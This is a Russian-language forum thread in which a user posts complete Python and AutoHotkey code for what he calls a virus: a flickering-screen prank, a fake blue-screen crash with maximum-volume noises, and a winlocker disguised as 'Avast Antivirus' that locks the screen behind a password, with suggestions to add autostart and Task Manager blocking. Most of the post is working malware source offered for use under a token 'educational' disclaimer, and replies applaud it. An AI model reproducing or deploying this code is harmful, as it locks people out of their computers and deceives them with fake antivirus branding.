Загрузка...

Writing a virus in Python

Thread in Python created by sqully Nov 20, 2024. (bumped Dec 2, 2024) 616 views

  1. sqully
    sqully Topic starter Nov 20, 2024 Banned 160 Mar 19, 2021
    :anime_hi: Привет форум.
    Сейчас покажу как написать крутой вирус на шедевро-python. Краткий функционал - Наркомания на рабочем столе (аналог chilled windows), fake bsod с выкручиванием звука на максимум и неприятными звуками, ну и финалочка - винлокер
    Вот так выглядит вирус при открытии:


    Автор никого ни к чему не призывает. Всё что тут написано - написано в образовательных целях.
    Залил все в тгк, скачиваете оттуда все и суете в основную папку проекта - https://t.me/+BhXWw0aCMrFhNGFi
    Нам нужна штучка, которая будет выкручивать звук на 100, дабы было веселее. Создаем файл sound.ahk, в него пишем:

    Python
    SoundSet, 100
    Send {Volume_Up}
    Где 100 - громкость
    Пишем файл main.py :finger_up:

    Python
    import time
    import numpy as np
    import imageio
    import pygame
    from PIL import ImageGrab, Image
    from moviepy.editor import VideoFileClip, AudioFileClip
    import cv2
    import os

    def create_video(frames, output_file):
    fps = 25
    writer = imageio.get_writer(output_file, fps=fps)
    for frame in frames:
    writer.append_data(frame)
    writer.close()

    def main():
    pygame.mixer.init()

    pygame.mixer.music.load('start.mp3')
    pygame.mixer.music.play()
    time.sleep(1)

    im = ImageGrab.grab()
    original_image = np.array(im)
    mirrored_image = np.array(im.transpose(Image.FLIP_LEFT_RIGHT))
    flipped_image = np.array(im.transpose(Image.FLIP_TOP_BOTTOM))

    frames = []
    for _ in range(30):
    frames.append(original_image)
    frames.append(mirrored_image)

    for _ in range(75):
    frames.append(original_image)
    frames.append(flipped_image)

    create_video(frames, 'output.mp4')

    pygame.mixer.music.stop()

    video_clip = VideoFileClip('output.mp4')
    audio_clip = AudioFileClip('sound.mp3')
    final_video = video_clip.set_audio(audio_clip)

    final_video.write_videofile('final_output.mp4', codec='libx264', audio_codec='aac')

    final_video.preview()

    cv2.namedWindow('Video', cv2.WND_PROP_FULLSCREEN)
    cv2.setWindowProperty('Video', cv2.WND_PROP_FULLSCREEN, cv2.WINDOW_FULLSCREEN)
    cap = cv2.VideoCapture('final_output.mp4')

    while cap.isOpened():
    ret, frame = cap.read()
    if not ret:
    break
    cv2.imshow('Video', frame)
    if cv2.waitKey(25) & 0xFF == ord('q'):
    break

    cap.release()
    cv2.destroyAllWindows()

    os.system('python part2.py')

    if __name__ == "__main__":
    main()
    Именно этот код будет создавать и показывать видео с наркоманией, после чего запустит part2.py
    На самом деле эта часть была украдена с гитхаба. Но есть есть место быть. Создаем файл part2.py и пишем код:
    Python
    import pyautogui as py
    from PIL import Image, ImageTk
    import winsound
    import time
    import subprocess
    import tkinter as tk

    time.sleep(5)

    py.hotkey("win", "d")
    time.sleep(0.7)
    im = py.screenshot('ss.png')
    ISRUN = False
    TOTALLOOP = 0


    def toggle_geom():
    pass


    def exit_program(event):
    """удалить если не нужно"""
    root.destroy()
    exit()


    subprocess.Popen("ahk.exe sound.ahk") # громкость на 100 через ахк
    root = tk.Tk()
    root.geometry("{}x{}+0+0".format(root.winfo_screenwidth(),
    root.winfo_screenheight()))
    bg = tk.PhotoImage(file="ss.png")
    bgimage = tk.Label(root, image=bg, width=root.winfo_screenwidth(),
    height=root.winfo_screenheight(), borderwidth=0)
    bgimage.place(x=0, y=0)


    def update(ind):
    global TOTALLOOP
    if ind == 80:
    ind = 0
    TOTALLOOP += 1
    if ind < 10:
    indText = "0" + str(ind)
    else:
    indText = str(ind)
    directoryName = "./BSOD/bsodgif/frame_" + indText + "_delay-0.05s.png"
    img = Image.open(directoryName).resize(
    (root.winfo_screenwidth(), root.winfo_screenheight()), Image.LANCZOS)
    bg2 = ImageTk.PhotoImage(img)
    bgimage.configure(image=bg2)
    bgimage.image = bg2
    root.update()
    ind += 1
    if TOTALLOOP < 4:
    root.after(5, update, ind)
    else:
    img = Image.open("./BSOD/bsod7.png").resize((root.winfo_screenwidth(), root.winfo_screenheight()), Image.LANCZOS)
    bg1 = ImageTk.PhotoImage(img)
    bgimage.configure(image=bg1)
    bgimage.image = bg1
    root.update()
    winsound.PlaySound(None, winsound.SND_ASYNC)
    time.sleep(6)
    subprocess.Popen(["python", "locker.py"]) # Открытие винлокера
    root.destroy()
    exit()


    def updateImg(numb, sleepNum):
    imgName = "./BSOD/bsod" + str(numb) + ".png"
    img = Image.open(imgName).resize(
    (root.winfo_screenwidth(), root.winfo_screenheight()), Image.LANCZOS)
    bg1 = ImageTk.PhotoImage(img)
    bgimage.configure(image=bg1, cursor='none')
    bgimage.image = bg1
    root.update()
    time.sleep(sleepNum)


    def initiate(e):
    global ISRUN
    if ISRUN == False:
    ISRUN = True
    time.sleep(1)
    updateImg(1, 4)
    updateImg(2, 6)
    updateImg(3, 7)
    updateImg(4, 0.01)
    winsound.PlaySound('noise1.wav', winsound.SND_ASYNC)
    updateImg(3, 3)
    winsound.PlaySound('noise2.wav', winsound.SND_ASYNC)
    updateImg(6, 0.01)
    updateImg(3, 1.5)
    winsound.PlaySound('noise3.wav', winsound.SND_ASYNC)
    updateImg(4, 0.01)
    updateImg(3, 0.75)
    winsound.PlaySound('final.wav', winsound.SND_ASYNC)
    updateImg(5, 3)
    winsound.PlaySound('loop.wav', winsound.SND_LOOP + winsound.SND_ASYNC)
    root.after(0, update, 0)


    bgimage.bind('<Button-1>', initiate)
    root.attributes("-fullscreen", True)
    root.bind('<Escape>', toggle_geom)
    root.bind('<space>', exit_program) # удалить эту строку чтобы нельзя было закрыть
    root.attributes('-topmost', True)
    root.update()
    root.mainloop()
    Создаем locker.py и пишем в него код:


    Python
    import tkinter
    from tkinter import *
    import tkinter as tk
    from tkinter import ttk
    import getpass
    import sys
    import os
    import os.path
    import pyautogui
    from time import sleep

    username = getpass.getuser()

    window = Tk()
    window.title("Avast Antivirus")
    window.geometry('400x250')
    window['bg'] = 'black'

    normal_width = 1920
    normal_height = 1080
    screen_width = window.winfo_screenwidth()
    screen_height = window.winfo_screenheight()

    percentage_width = screen_width / (normal_width / 100)
    percentage_height = screen_height / (normal_height / 100)
    scale_factor = ((percentage_width + percentage_height) / 2) / 100
    fontsize = int(20 * scale_factor)
    minimum_size = 10

    if fontsize < minimum_size:
    fontsize = minimum_size

    fontsizeHding = int(72 * scale_factor)
    minimum_size = 40
    if fontsizeHding < minimum_size:
    fontsizeHding = minimum_size

    default_style = ttk.Style()
    default_style.configure('New.TButton', font=("Helvetica", fontsize))

    # Блокировщик горячих клавиш
    def block():
    pyautogui.moveTo(x=680,y=800)
    window.protocol("WM_DELETE_WINDOW",block)
    window.update()

    # Открытие в полный экран
    def fullscreen():
    window.attributes('-fullscreen', True, '-topmost', True)

    def clicked():
    res = format(txt.get())
    if res == 'password': # пароль менять тут
    sys.exit()

    fullscreen()

    txt_one = Label(window, text='winlocker', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
    txt_two = Label(window, text='Ехх... амд бабах...', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
    txt_three = Label(window, text='Ваш компьютер был заблокирован этим замечательным софтом. Пароль вам никто не скажет. Удачных голодных игр)', font=("Arial Bold", fontsize), fg='white', bg='black')

    txt_one.grid(column=0, row=0)
    txt_two.grid(column=0, row=0)
    txt_three.grid(column=0, row=0)

    txt_one.place(relx = .01, rely = .01)
    txt_two.place(relx = .01, rely = .11)
    txt_three.place(relx = .01, rely = .21)


    txt = Entry(window)
    btn = Button(window, text="Ввод", command=clicked)
    txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)
    btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)

    block()
    window.mainloop()

    Для тех кому лень копировать - фулл код также залил в
    :tg:
    Многие понимают, что это больше прикол чем вирус, но его можно дописать)
    Например: винлокер в автозагруку, блок диспетчера задач и так далее
     
    1. Киана
      sqully, имейте советь. Суйте свой код на гитхаб с меткой MIT
    2. sqully Topic starter
  2. зайцевПлюсОдин
    звуки пердежа имеются в проекте ?
     
    1. View previous comments (2)
  3. KasperIX
    KasperIX Nov 20, 2024 U dont hustle - u dont eat 425 Jan 2, 2022
    Требую добавить звук распада СССР!
    The post was merged to previous Nov 20, 2024
    Вообще крутая штука. Реально молодёжно, чётко, жёска
     
    1. sqully Topic starter
      KasperIX, меняй start.mp3 на звук распада ссср и будет тебе счастье
Top
Loading...